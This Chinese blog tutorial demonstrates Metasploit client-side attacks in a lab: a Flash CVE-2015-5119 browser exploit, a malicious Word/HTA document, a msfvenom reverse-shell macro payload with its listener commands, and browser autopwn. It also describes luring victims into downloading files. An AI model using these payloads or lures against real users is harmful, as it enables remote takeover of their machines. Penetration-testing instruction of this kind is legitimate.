kali -linux第七部分之第五篇Metasploit对客户端

怼烎@ 2022-11-18 05:42 194阅读 0赞

### 文章目录 ###

*   *   *  第一部分 利用浏览器插件
         *   *  漏洞编号
             *  漏洞描述
             *  影响版本
             *  环境搭建
             *  漏洞复现
             *   *  第一步 查找漏洞
                 *  第二步 查看设置参数
                 *  第三步 生成url，使得目标主机访问url
                 *  第四步 查看利用结果
         *  第二部分 利用HTA文件
         *   *  介绍
             *  漏洞环境
             *  漏洞复现
             *   *  第一步
                 *  第二步
                 *  第三步 生产url链接和文档
                 *  第四步 访问url，下载并且运行，
                 *  第五步 查看连接
         *  第三部分 使用word宏
         *   *  介绍
             *  漏洞复现
             *   *  第一步 MSF生成宏信息
                 *  第二步 制作带有宏的word文档
                 *  第三步 开启监听
                 *  第四步 点击触发宏文件
                 *  第五步 查看连接结果
         *  第四部分 使用autopwn
         *   *  介绍
             *  漏洞复现
             *   *  第一步 查看相关的模块
                 *  第二步 查看模块的参数
                 *  第三步 生成链接
                 *  第四步 访问连接
                 *  第五步 查看MSF连接成功的情况
         *  摘抄

### 第一部分 利用浏览器插件 ###

#### 漏洞编号 ####

*  cve-2015-5119

#### 漏洞描述 ####

*  CVE-2015-5119是一个典型的UAF漏洞，Flash对ByteArray内部的buffer使用不当，从而在buffer释放后仍然保持对buffer的引用，
 *  导致攻击者可以通过构造特殊的swf文件，通过嵌入在网页中使访问改页面的人中招。

#### 影响版本 ####

*  Adobe Flash Player 14-18

#### 环境搭建 ####

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70]

#### 漏洞复现 ####

##### 第一步 查找漏洞 #####

search adobe_flash

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 1]

##### 第二步 查看设置参数 #####

use multi/browser/adobe_flash_hacking_team_uaf
    show options

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 2]

##### 第三步 生成url，使得目标主机访问url #####

run
    http://192.168.232.198:8080/x5y8GNElhT

![在这里插入图片描述][20210412210806129.png]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 3]

##### 第四步 查看利用结果 #####

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 4]

### 第二部分 利用HTA文件 ###

#### 介绍 ####

*  由于浏览器安全技术发展很快,很多时候黑客需要面对一些安全的浏览器(就是暂时没有发现漏洞的浏览器),
 *  这时他们通常会选择一种不需要依赖漏洞的手段。
 *  这种手段要看起来像是一个正常的行为
 *  例如让访问伪造网站的受害者下载一个插件,借口往往是提高体验,或者正常显示一类的。
 *  但是这文件不能是exe之类很容易就会被发现的类型,因此HTA就成了一个最好的选择。

#### 漏洞环境 ####

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 5]

#### 漏洞复现 ####

##### 第一步 #####

search word_hta

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 6]

##### 第二步 #####

use exploit/windows/fileformat/office_word_hta
    show options

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 7]

##### 第三步 生产url链接和文档 #####

[+] msf.doc stored at /root/.msf4/local/msf.doc[*] Using URL: http://0.0.0.0:8080/default.hta
    [*] Local IP: http://192.168.232.198:8080/default.hta

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 8]

##### 第四步 访问url，下载并且运行， #####

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 9]

##### 第五步 查看连接 #####

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 10]

### 第三部分 使用word宏 ###

#### 介绍 ####

*  宏病毒是一种特殊的文件型病毒。例如微软的 Office产品系列提供使用VBA程序语言编写程序的功能，VBA是基于 Visual basic发展而来的,与VB具有相似的语言结构。
 *  Office取得巨大成功的一个重要原因就是VBA,使用VBA可以完成很多事情,基于 Excel、Word的VBA小程序不计其数。
 *  但是宏病毒也是微软在WOR中引入宏之后出现的,目前微软的0 FFICE产品是最为流行的编辑软件,并且跨越了多种系统平宏病毒利用这一点得到大范围的传播构造一个包含宏病毒的word文档也并不复杂,只要编制一个含 autoopen函数,就可自动引发病毒。
 *  在word打开这个文档时,宏病毒会执行,然后将自己感染到其他文档或直接删除文件等。
 *  WORD宏和其他样式储存在模板.dot文件中,因此总是把文档转换成模板再储存宏

#### 漏洞复现 ####

##### 第一步 MSF生成宏信息 #####

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.232.198 lport=4444 -e x86/shikata_ga_nai -f vba-exe

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 11]

##### 第二步 制作带有宏的word文档 #####

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 12]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 13]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 14]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 15]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 16]

##### 第三步 开启监听 #####

use exploit/multi/handler
    set  payload windows/meterpreter/reverse_tcp
    set  lhost 192.168.232.198
    set lport 4444
    run

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 17]

##### 第四步 点击触发宏文件 #####

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 18]

##### 第五步 查看连接结果 #####

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 19]

### 第四部分 使用autopwn ###

#### 介绍 ####

*  如果你觉得一个一个地选择模块很麻烦,也可以考虑使用 browser autopwn模块。
 *  这种攻击的思路是渗透者构造一个攻击用的Web服务,然后将这个Web服务器的地址发给目标用户,
 *  当目标用户使用有漏洞的浏览器打开这个地址的时候,
 *  攻击用的wcb服务器就会向浏览器发送各种攻击脚木,如果其中某个攻击脚木
 *  攻击成功的话,就会在目标主机上建立一个Meterpreter会话。

#### 漏洞复现 ####

##### 第一步 查看相关的模块 #####

search autopwn

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 20]

##### 第二步 查看模块的参数 #####

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 21]

##### 第三步 生成链接 #####

http://192.168.232.198:8080/iMMNv9UlO4vbD

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 22]

##### 第四步 访问连接 #####

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 23]

##### 第五步 查看MSF连接成功的情况 #####

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 24]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 25]

### 摘抄 ###

--------------------

生活——是无边无际的，  
浮满各种漂流物的，变幻无常的，  
暴力的，但总是一片澄澈而湛蓝的海。  
——三岛由纪夫《爱的饥渴》

--------------------

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70]: /images/20221022/afba80f8226044188ddbdbdd40415ae1.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 1]: /images/20221022/8722a492c3964fadbab3ec79d1f90797.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 2]: /images/20221022/e480133d0313495a8e7e90345970bfa8.png
[20210412210806129.png]: /images/20221022/f6efc0a9125549d89de0d7b72b55760c.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 3]: /images/20221022/2cd9cb5d4fb8475a8de923112b890ff1.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 4]: /images/20221022/2e0162344d5d4b96b99b4d771ae4052a.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 5]: /images/20221022/b4be097b26c844ee9f0ce8bf3504b852.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 6]: /images/20221022/c4b25cfdf16e44baa9989480751c86ef.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 7]: /images/20221022/cf0254b70771490086219e318e9ff1e0.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 8]: /images/20221022/f26e8b71174e49c1b2baea000b7f83cd.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 9]: /images/20221022/989f9f76dfe244a0a6cf1e4347f3c9f0.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 10]: /images/20221022/264890710c8244f89f0a194766c2a807.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 11]: /images/20221022/2db44afa94624c99ba59a0356bf1aa7e.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 12]: /images/20221022/63bce0b291a84d44b85f058ac4876b1f.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 13]: /images/20221022/cea5aed8d0b0476f8d3bb755c19f3340.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 14]: /images/20221022/e4f668431d424ec088c56b6877593ccd.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 15]: /images/20221022/0a14de61ac4f4883a3d9d24ffa90e85e.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 16]: /images/20221022/613861d2f48e4470ae714f54c4a1c50a.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 17]: /images/20221022/546ed05af3a643069ad6c5aa088c7643.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 18]: /images/20221022/19c1d4a2ce804dfdb59038e86bdb25b5.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 19]: /images/20221022/91ba8d2053a4434dad6fb73b6a2d872d.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 20]: /images/20221022/1483e4e7a30c47e2988e4c0244e75f70.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 21]: /images/20221022/14d6512d35c1453ebf5b7e448d8001c2.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 22]: /images/20221022/c54fba1ea25b4622bb433746ab0d8d7e.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 23]: /images/20221022/70e028b795564d4cb20b52a9b7d4f67f.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 24]: /images/20221022/bf79e94619684f50b1e2d325d87737f5.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 25]: /images/20221022/beab9839d05142b3805d0d17642e92a4.png